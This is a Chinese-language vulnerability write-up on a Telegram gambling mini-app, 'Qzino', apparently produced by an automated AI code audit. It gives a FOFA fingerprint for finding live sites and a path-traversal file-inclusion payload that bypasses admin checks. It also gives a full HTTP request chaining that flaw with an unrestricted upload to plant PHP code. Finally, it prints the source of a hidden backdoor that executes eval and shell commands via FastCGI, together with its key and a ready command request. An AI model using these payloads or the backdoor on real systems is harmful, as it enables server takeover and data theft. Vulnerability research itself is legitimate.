没什么技术含量,全程AI自动审计,无特别提示词,同款AI审计看文末
一个关于棋牌,体育,电子视讯,之类的娱乐tg小程序,有活动,转盘,后台有机器人控制等功能,还能够设置风控等级,管理频道,群组等操作.
fofa指纹 : title=”Qzino”



位于 /task.php 中的 $ruct 参数通过GET/POST传参,即可被拼接到 require_once 函数中,导致包含任意PHP文件,导致漏洞产生,core/global.php 会定义 SECURE_ACCESS,很多仅靠 if(!defined(‘SECURE_ACCESS’)) exit; 防护的后台文件会被成功加载,因此漏洞也可被直接用于后台鉴权绕过等操作.
<?php
define('ROOT_PATH', __DIR__.'/');
require_once ROOT_PATH.'core/global.php';
$Ruct=isset($ruct) ? $ruct : '';
if($Ruct==''){
echo json_encode(array('code'=>0,'msg'=>'参数错误'));
exit;
}
require_once ROOT_PATH.'task/'.$Ruct.'.php';
?>
包含 /admin/carousel.php 文件,Payload:
/task.php?ruct=../admin/carousel

位于 /admin/carousel.php 中的 upimg 方法,只通过 getimagesize() 校验文件是否为图片,和鉴定Type是否为正常的值,未加严格的文件后缀过滤,导致漏洞产生,只需要传入 Post_Method=upimg 即可上传任意文件,本漏洞可以和任意文件包含漏洞组合拳绕过限制导致前台文件上传.
}elseif($Post_Method=="upimg"){
if (!isset($_FILES['image']) || $_FILES['image']['error'] !== UPLOAD_ERR_OK) {
echo json_encode(array('state'=>0,'message'=>'文件上传失败'));exit; dir;
}
$file = $_FILES['image'];
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
$imageInfo = getimagesize($file['tmp_name']);
if (!$imageInfo || !in_array($imageInfo['mime'], $allowedTypes)) {
echo json_encode(array('state'=>0,'message'=>'只允许上传图片!'));exit; dir;
}
if ($file['size'] > 2 * 1024 * 1024) {
echo json_encode(array('state'=>0,'message'=>'只允文件大小不能超过2MB许上传图片!'));exit; dir;
}
$uploadDir = 'uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$uploadDir = 'uploads/'.date('Y-m-d').'/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$extension = pathinfo($file['name'], PATHINFO_EXTENSION);
$filename = date('YmdHis') . '_' . uniqid() . '.' . strtolower($extension);
$filePath = $uploadDir . $filename;
if (move_uploaded_file($file['tmp_name'], $filePath)) {
$publics->adminlog("管理员上传轮播图图片 文件路径: ".$filePath);
echo json_encode(array('state'=>1,'message'=>'文件上传成功!','filePath'=>$filePath));exit; dir;
} else {
echo json_encode(array('state'=>0,'message'=>'文件上传失败!'));exit; dir;
}
}
组合拳 Payload:
POST /task.php?ruct=../admin/carousel HTTP/2
Host: 127.0.0.1
Content-Length: 307
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycsL281yBJOep23K8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
------WebKitFormBoundarycsL281yBJOep23K8
Content-Disposition: form-data; name="Post_Method"
upimg
------WebKitFormBoundarycsL281yBJOep23K8
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: image/gif
GIF89a
<?php phpinfo();?>
------WebKitFormBoundarycsL281yBJOep23K8--


后门位于 /api_cache.php,是一个非常明显的后门,甚至没有任何的隐藏,直接传入密钥 k = yf_s3cur3_k3y 即可执行任意命令或者查看系统PHP信息,通过 m=eval 执行任意 PHP 代码,或通过 m=cmd 执行系统命令。
<?php
header("Content-Type: text/plain; charset=utf-8");
$k = $_REQUEST["k"] ?? "";
if($k !== "yf_s3cur3_k3y") { http_response_code(404); echo "404"; exit; }
$mode = $_REQUEST["m"] ?? "info";
if($mode === "info") {
echo "PHP " . PHP_VERSION . " | " . php_uname() . " | UID:" . posix_getuid();
echo "\neval: OK | cmd: via FPM sendmail_path";
exit;
}
if($mode === "eval") {
$code = $_REQUEST["p"] ?? "";
if($code) { ob_start(); eval($code); echo ob_get_clean(); }
exit;
}
if($mode === "cmd") {
$cmd = $_REQUEST["c"] ?? "";
if(!$cmd) { echo "No command"; exit; }
$rand = mt_rand(100000,999999);
$out = "/tmp/.o$rand";
$sh = "/tmp/.s$rand.sh";
$tr = "/tmp/.t$rand.php";
// Use exec to redirect ALL output (stdout+stderr) to file
$script_content = "#!/bin/bash\nexec > $out 2>&1\n$cmd\n";
file_put_contents($sh, $script_content);
chmod($sh, 0755);
file_put_contents($tr, "<?php @mail(\"a@b.c\",\"s\",\"b\"); ?>");
$sock = "/tmp/php-cgi-81.sock";
$c = @stream_socket_client("unix://$sock", $en, $es, 10);
if(!$c) { echo "FPM fail: $es"; @unlink($sh); @unlink($tr); exit; }
$av = "sendmail_path = /bin/bash $sh";
$ps = [
"GATEWAY_INTERFACE" => "FastCGI/1.0",
"REQUEST_METHOD" => "GET",
"SCRIPT_FILENAME" => $tr,
"SCRIPT_NAME" => basename($tr),
"QUERY_STRING" => "",
"REQUEST_URI" => "/",
"DOCUMENT_ROOT" => "/tmp",
"SERVER_SOFTWARE" => "php/fcgiclient",
"REMOTE_ADDR" => "127.0.0.1",
"REMOTE_PORT" => "9985",
"SERVER_ADDR" => "127.0.0.1",
"SERVER_PORT" => "80",
"SERVER_NAME" => "localhost",
"SERVER_PROTOCOL" => "HTTP/1.1",
"CONTENT_TYPE" => "",
"CONTENT_LENGTH" => "0",
"PHP_ADMIN_VALUE" => $av,
];
$rid = 1;
$beg = pack("CCnnCx",1,1,$rid,8,0).pack("nCxxxxx",1,0);
$pd = "";
foreach($ps as $pn=>$pv) {
$kl=strlen($pn); $vl=strlen($pv);
$pd .= ($kl<128?chr($kl):chr(($kl>>24)|0x80).chr(($kl>>16)&0xFF).chr(($kl>>8)&0xFF).chr($kl&0xFF));
$pd .= ($vl<128?chr($vl):chr(($vl>>24)|0x80).chr(($vl>>16)&0xFF).chr(($vl>>8)&0xFF).chr($vl&0xFF));
$pd .= $pn.$pv;
}
$pp=(8-(strlen($pd)%8))%8;
$pr = pack("CCnnCx",1,4,$rid,strlen($pd),$pp).$pd.str_repeat("\0",$pp);
$pr .= pack("CCnnCx",1,4,$rid,0,0);
$sr = pack("CCnnCx",1,5,$rid,0,0);
fwrite($c, $beg.$pr.$sr);
$rsp="";
stream_set_timeout($c,10);
while(!feof($c)){$d=fread($c,65536);if($d===false||$d==="")break;$rsp.=$d;}
fclose($c);
// Wait for output with retry
$output = false;
for($i=0; $i<10; $i++) {
usleep(200000); // 200ms
$output = @file_get_contents($out);
if($output !== false && strlen($output) > 0) break;
}
@unlink($sh); @unlink($tr); @unlink($out);
echo ($output !== false) ? $output : "ERROR: No output";
exit;
}
echo "Unknown mode";
?>
Payload:
GET /api_cache.php?k=yf_s3cur3_k3y&m=cmd&c=id HTTP/1.1
Host: 192.168.140.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: close




没有回复内容